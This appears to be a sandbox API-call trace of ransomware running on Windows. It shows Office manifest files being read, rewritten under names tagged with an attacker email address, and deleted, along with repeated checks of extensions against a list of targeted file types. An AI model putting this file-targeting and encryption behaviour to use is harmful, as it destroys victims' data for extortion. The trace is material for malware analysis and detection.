	[0068.245] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.245] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.246] GetLastError () returned 0x0
	[0068.246] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.292] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.293] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.293] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.293] SetEndOfFile (hFile=0x364) returned 1
	[0068.294] CloseHandle (hObject=0x364) returned 1
	[0068.294] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.295] SetEndOfFile (hFile=0x338) returned 1
	[0068.295] CloseHandle (hObject=0x338) returned 1
	[0068.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.296] lstrlenW (lpString=".doc") returned 4
	[0068.296] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.296] lstrlenW (lpString=".docx") returned 5
	[0068.296] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.296] lstrlenW (lpString=".pdf") returned 4
	[0068.296] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.296] lstrlenW (lpString=".xls") returned 4
	[0068.296] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.296] lstrlenW (lpString=".xlsx") returned 5
	[0068.296] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.296] lstrlenW (lpString=".ppt") returned 4
	[0068.297] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.297] lstrlenW (lpString=".zip") returned 4
	[0068.297] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.297] lstrlenW (lpString=".rar") returned 4
	[0068.297] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".bz2") returned 4
	[0068.297] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".7z") returned 3
	[0068.297] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.297] lstrlenW (lpString=".dbf") returned 4
	[0068.297] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.297] lstrlenW (lpString=".1cd") returned 4
	[0068.297] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.297] lstrlenW (lpString=".jpg") returned 4
	[0068.297] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.297] lstrlenW (lpString=".doc") returned 4
	[0068.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".docx") returned 5
	[0068.297] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.297] lstrlenW (lpString=".pdf") returned 4
	[0068.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".xls") returned 4
	[0068.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".xlsx") returned 5
	[0068.298] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.298] lstrlenW (lpString=".ppt") returned 4
	[0068.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.298] lstrlenW (lpString=".zip") returned 4
	[0068.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.298] lstrlenW (lpString=".rar") returned 4
	[0068.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".bz2") returned 4
	[0068.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".7z") returned 3
	[0068.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.298] lstrlenW (lpString=".dbf") returned 4
	[0068.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.298] lstrlenW (lpString=".1cd") returned 4
	[0068.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.298] lstrlenW (lpString=".jpg") returned 4
	[0068.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.298] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.298] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53
	[0068.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.322] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0068.322] CloseHandle (hObject=0x338) returned 1
	[0068.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.323] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.323] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.323] GetLastError () returned 0x0
	[0068.323] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.324] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.325] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.325] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.326] SetEndOfFile (hFile=0x364) returned 1
	[0068.326] CloseHandle (hObject=0x364) returned 1
	[0068.327] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.327] SetEndOfFile (hFile=0x338) returned 1
	[0068.327] CloseHandle (hObject=0x338) returned 1
	[0068.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.328] lstrlenW (lpString=".doc") returned 4
	[0068.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.328] lstrlenW (lpString=".docx") returned 5
	[0068.328] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.328] lstrlenW (lpString=".pdf") returned 4
	[0068.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.328] lstrlenW (lpString=".xls") returned 4
	[0068.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.328] lstrlenW (lpString=".xlsx") returned 5
	[0068.328] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.328] lstrlenW (lpString=".ppt") returned 4
	[0068.329] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.329] lstrlenW (lpString=".zip") returned 4
	[0068.329] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.329] lstrlenW (lpString=".rar") returned 4
	[0068.517] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.517] lstrlenW (lpString=".bz2") returned 4
	[0068.517] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.517] lstrlenW (lpString=".7z") returned 3
	[0068.517] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.517] lstrlenW (lpString=".dbf") returned 4
	[0068.517] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.517] lstrlenW (lpString=".1cd") returned 4
	[0068.517] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.517] lstrlenW (lpString=".jpg") returned 4
	[0068.517] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.517] lstrlenW (lpString=".doc") returned 4
	[0068.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString=".docx") returned 5
	[0068.518] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.518] lstrlenW (lpString=".pdf") returned 4
	[0068.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString=".xls") returned 4
	[0068.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString=".xlsx") returned 5
	[0068.518] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.518] lstrlenW (lpString=".ppt") returned 4
	[0068.518] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.518] lstrlenW (lpString=".zip") returned 4
	[0068.518] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.518] lstrlenW (lpString=".rar") returned 4
	[0068.518] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString=".bz2") returned 4
	[0068.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString=".7z") returned 3
	[0068.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.518] lstrlenW (lpString=".dbf") returned 4
	[0068.518] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.518] lstrlenW (lpString=".1cd") returned 4
	[0068.518] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0068.518] lstrlenW (lpString=".jpg") returned 4
	[0068.518] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.518] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.519] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53
	[0068.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.519] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0068.519] CloseHandle (hObject=0x338) returned 1
	[0068.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.521] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.521] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.522] GetLastError () returned 0x0
	[0068.522] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.533] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.534] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.534] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.534] SetEndOfFile (hFile=0x364) returned 1
	[0068.535] CloseHandle (hObject=0x364) returned 1
	[0068.536] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.536] SetEndOfFile (hFile=0x338) returned 1
	[0068.537] CloseHandle (hObject=0x338) returned 1
	[0068.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.538] lstrlenW (lpString=".doc") returned 4
	[0068.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString=".docx") returned 5
	[0068.538] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.538] lstrlenW (lpString=".pdf") returned 4
	[0068.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString=".xls") returned 4
	[0068.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString=".xlsx") returned 5
	[0068.538] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.538] lstrlenW (lpString=".ppt") returned 4
	[0068.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.538] lstrlenW (lpString=".zip") returned 4
	[0068.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.538] lstrlenW (lpString=".rar") returned 4
	[0068.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString=".bz2") returned 4
	[0068.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString=".7z") returned 3
	[0068.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.538] lstrlenW (lpString=".dbf") returned 4
	[0068.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.538] lstrlenW (lpString=".1cd") returned 4
	[0068.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.539] lstrlenW (lpString=".jpg") returned 4
	[0068.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.539] lstrlenW (lpString=".doc") returned 4
	[0068.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString=".docx") returned 5
	[0068.539] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.539] lstrlenW (lpString=".pdf") returned 4
	[0068.539] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString=".xls") returned 4
	[0068.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString=".xlsx") returned 5
	[0068.539] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.539] lstrlenW (lpString=".ppt") returned 4
	[0068.539] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.539] lstrlenW (lpString=".zip") returned 4
	[0068.539] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.539] lstrlenW (lpString=".rar") returned 4
	[0068.539] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString=".bz2") returned 4
	[0068.539] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString=".7z") returned 3
	[0068.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.539] lstrlenW (lpString=".dbf") returned 4
	[0068.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.540] lstrlenW (lpString=".1cd") returned 4
	[0068.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0068.540] lstrlenW (lpString=".jpg") returned 4
	[0068.540] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.540] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
